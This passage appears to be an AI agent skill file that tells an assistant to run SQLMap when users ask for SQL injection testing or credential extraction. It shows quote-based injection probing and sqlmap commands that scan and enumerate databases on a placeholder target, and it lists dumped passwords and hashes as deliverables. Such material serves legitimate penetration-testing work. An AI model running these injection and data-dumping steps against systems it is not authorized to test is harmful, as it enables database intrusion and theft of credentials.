What it does

This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing." It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities.

SQLMap Database Penetration Testing

Purpose

Provide systematic methodologies for automated SQL injection detection and exploitation using SQLMap. This skill covers database enumeration, table and column discovery, data extraction, multiple target specification methods, and advanced exploitation techniques for MySQL, PostgreSQL, MSSQL, Oracle, and other database management systems.

Inputs / Prerequisites

  • Target URL: Web application URL with injectable parameter (e.g., ?id=1)
  • SQLMap Installation: Pre-installed on Kali Linux or downloaded from GitHub
  • Verified Injection Point: URL parameter confirmed or suspected to be SQL injectable
  • Request File (Optional): Burp Suite captured HTTP request for POST-based injection
  • Authorization: Written permission for penetration testing activities

Outputs / Deliverables

  • Database Enumeration: List of all databases on the target server
  • Table Structure: Complete table names within target database
  • Column Mapping: Column names and data types for each table
  • Extracted Data: Dumped records including usernames, passwords, and sensitive data
  • Hash Values: Password hashes for offline cracking
  • Vulnerability Report: Confirmation of SQL injection type and severity

Core Workflow

1. Identify SQL Injection Vulnerability

Manual Verification

# Add single quote to break query
http://target.com/page.php?id=1'

# If error message appears, likely SQL injectable
# Error example: "You have an error in your SQL syntax"

Initial SQLMap Scan

# Basic vulnerability detection
sqlmap -u "http://target.com/page.php?id=1" --batch

# With verbosity for detailed output
sqlmap -u "http://target.com/page.php?id=1" --batch -v 3

2. Enumerate Databases

List All Databases

sqlmap -u "http://target.com/page.php?id=1" --dbs --batch
